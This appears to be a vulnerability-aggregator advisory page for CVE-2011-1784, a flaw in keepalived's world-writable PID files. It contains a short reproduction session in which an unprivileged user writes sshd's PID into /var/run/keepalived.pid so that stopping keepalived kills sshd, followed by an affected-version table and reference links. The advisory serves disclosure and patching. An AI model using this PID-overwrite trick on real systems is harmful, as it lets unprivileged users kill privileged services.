CVE-2011-1784
First published: Wed May 11 2011(Updated: )
It was reported [1] that keepalived wrote its PID files in /var/run as world-writable files. This could allow an unprivileged user to change the referenced PID in the PID file, and upon a service restart or stop of keepalived, would kill the other process. The keepalived daemonize code explicitly sets umask(0) which is the root cause of this flaw, so PID file creation should probably contain an explicit permissions settings. For instance, as root: # service keepalived status keepalived (pid 9634) is running... # cat /var/run/keepalived.pid 9634 # ls -al /var/run/keepalived.pid -rw-rw-rw- 1 root root 5 May 10 15:13 /var/run/keepalived.pid Then as an unprivileged user: % echo $(ps ax|grep sshd|grep -v grep|cut -d ' ' -f 2) >/var/run/keepalived.pid % cat /var/run/keepalived.pid 1638 Back to root: # service keepalived status keepalived (pid 1638) is running... # service keepalived stop Stopping keepalived: [ OK ] # service sshd status openssh-daemon is stopped # ps ax|grep sshd|grep -v grep # ps ax|grep keepalived|grep -v grep 9634 ? Ss 0:00 /usr/sbin/keepalived -D 9636 ? S 0:00 /usr/sbin/keepalived -D 9637 ? S 0:00 /usr/sbin/keepalived -D [1] <a href="http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=626281">http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=626281</a>
Credit: secalert@redhat.com
| Affected Software | Affected Version | How to fix |
|---|---|---|
| Keepalived Keepalived | =0.6.9 | |
| Keepalived Keepalived | =0.7.1 | |
| Keepalived Keepalived | =0.3.6 | |
| Keepalived Keepalived | =1.1.5 | |
| Keepalived Keepalived | =1.1.13 | |
| Keepalived Keepalived | =1.1.3 | |
| Keepalived Keepalived | =1.0.1 | |
| Keepalived Keepalived | =0.6.1 | |
| Keepalived Keepalived | =1.1.11 | |
| Keepalived Keepalived | =0.6.5 | |
| Keepalived Keepalived | =1.1.7 | |
| Keepalived Keepalived | =1.1.1 | |
| Keepalived Keepalived | =0.6.3 | |
| Keepalived Keepalived | =1.1.2 | |
| Keepalived Keepalived | =1.1.6 | |
| Keepalived Keepalived | =0.6.6 | |
| Keepalived Keepalived | =1.1.18 | |
| Keepalived Keepalived | =0.4.8 | |
| Keepalived Keepalived | =1.1.19 | |
| Keepalived Keepalived | =0.2.7 | |
| Keepalived Keepalived | =1.1.8 | |
| Keepalived Keepalived | =1.2.1 | |
| Keepalived Keepalived | <=1.2.2 | |
| Keepalived Keepalived | =0.5.3 | |
| Keepalived Keepalived | =1.1.10 | |
| Keepalived Keepalived | =1.0.2 | |
| Keepalived Keepalived | =0.3.5 | |
| Keepalived Keepalived | =0.2.3 | |
| Keepalived Keepalived | =0.6.8 | |
| Keepalived Keepalived | =1.1.20 | |
| Keepalived Keepalived | =1.2.0 | |
| Keepalived Keepalived | =0.5.5 | |
| Keepalived Keepalived | =1.1.0 | |
| Keepalived Keepalived | =1.0.0 | |
| Keepalived Keepalived | =1.0.3 | |
| Keepalived Keepalived | =0.6.10 | |
| Keepalived Keepalived | =0.3.7 | |
| Keepalived Keepalived | =0.4.9 | |
| Keepalived Keepalived | =0.5.7 | |
| Keepalived Keepalived | =0.6.4 | |
| Keepalived Keepalived | =1.1.14 | |
| Keepalived Keepalived | =0.5.9 | |
| Keepalived Keepalived | =0.3.8 | |
| Keepalived Keepalived | =0.2.1 | |
| Keepalived Keepalived | =1.1.15 | |
| Keepalived Keepalived | =0.5.6 | |
| Keepalived Keepalived | =0.6.2 | |
| Keepalived Keepalived | =0.6.7 | |
| Keepalived Keepalived | =0.5.8 | |
| Keepalived Keepalived | =0.7.6 | |
| Keepalived Keepalived | =1.1.12 | |
| Keepalived Keepalived | =0.2.6 | |
| Keepalived Keepalived | =1.1.4 | |
| Keepalived Keepalived | =1.1.9 | |
| Keepalived Keepalived | =1.1.16 | |
| Keepalived Keepalived | =0.4.9a | |
| Keepalived Keepalived | =1.1.17 |
Never miss a vulnerability like this again
Sign up to SecAlerts for real-time vulnerability data matched to your software, aggregated from hundreds of sources.
Reference Links
- http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=626281
- http://www.osvdb.org/72380
- https://bugzilla.redhat.com/show_bug.cgi?id=704039
- http://lists.debian.org/debian-security/2011/05/msg00018.html
- http://www.securityfocus.com/bid/47859
- http://openwall.com/lists/oss-security/2011/05/16/7
- http://openwall.com/lists/oss-security/2011/05/10/5
- http://secunia.com/advisories/44460
- http://lists.debian.org/debian-security/2011/05/msg00012.html
- http://lists.debian.org/debian-security/2011/05/msg00013.html
- https://exchange.xforce.ibmcloud.com/vulnerabilities/67477
- https://bugzilla.redhat.com/show_bug.cgi/show_bug.cgi?id=704040
- https://bugzilla.redhat.com/show_bug.cgi/show_bug.cgi?id=704041
- https://access.redhat.com/security/cve/CVE-2011-1784
- collector/nvd-historical
- collector/nvd-index
- agent/type
- agent/first-publish-date
- agent/softwarecombine
- collector/mitre-cve
- source/MITRE
- agent/severity
- agent/author
- agent/references
- agent/last-modified-date
- agent/weakness
- agent/description
- agent/event
- collector/redhat-bugzilla
- source/Red Hat
- alias/CVE-2011-1784
- agent/tags
- agent/trending
- vendor/keepalived
- canonical/keepalived keepalived
- version/keepalived keepalived/0.6.9
- version/keepalived keepalived/0.7.1
- version/keepalived keepalived/0.3.6
- version/keepalived keepalived/1.1.5
- version/keepalived keepalived/1.1.13
- version/keepalived keepalived/1.1.3
- version/keepalived keepalived/1.0.1
- version/keepalived keepalived/0.6.1
- version/keepalived keepalived/1.1.11
- version/keepalived keepalived/0.6.5
- version/keepalived keepalived/1.1.7
- version/keepalived keepalived/1.1.1
- version/keepalived keepalived/0.6.3
- version/keepalived keepalived/1.1.2
- version/keepalived keepalived/1.1.6
- version/keepalived keepalived/0.6.6
- version/keepalived keepalived/1.1.18
- version/keepalived keepalived/0.4.8
- version/keepalived keepalived/1.1.19
- version/keepalived keepalived/0.2.7
- version/keepalived keepalived/1.1.8
- version/keepalived keepalived/1.2.1
- version/keepalived keepalived/1.2.2
- version/keepalived keepalived/0.5.3
- version/keepalived keepalived/1.1.10
- version/keepalived keepalived/1.0.2
- version/keepalived keepalived/0.3.5
- version/keepalived keepalived/0.2.3
- version/keepalived keepalived/0.6.8
- version/keepalived keepalived/1.1.20
- version/keepalived keepalived/1.2.0
- version/keepalived keepalived/0.5.5
- version/keepalived keepalived/1.1.0
- version/keepalived keepalived/1.0.0
- version/keepalived keepalived/1.0.3
- version/keepalived keepalived/0.6.10
- version/keepalived keepalived/0.3.7
- version/keepalived keepalived/0.4.9
- version/keepalived keepalived/0.5.7
- version/keepalived keepalived/0.6.4
- version/keepalived keepalived/1.1.14
- version/keepalived keepalived/0.5.9
- version/keepalived keepalived/0.3.8
- version/keepalived keepalived/0.2.1
- version/keepalived keepalived/1.1.15
- version/keepalived keepalived/0.5.6
- version/keepalived keepalived/0.6.2
- version/keepalived keepalived/0.6.7
- version/keepalived keepalived/0.5.8
- version/keepalived keepalived/0.7.6
- version/keepalived keepalived/1.1.12
- version/keepalived keepalived/0.2.6
- version/keepalived keepalived/1.1.4
- version/keepalived keepalived/1.1.9
- version/keepalived keepalived/1.1.16
- version/keepalived keepalived/0.4.9a
- version/keepalived keepalived/1.1.17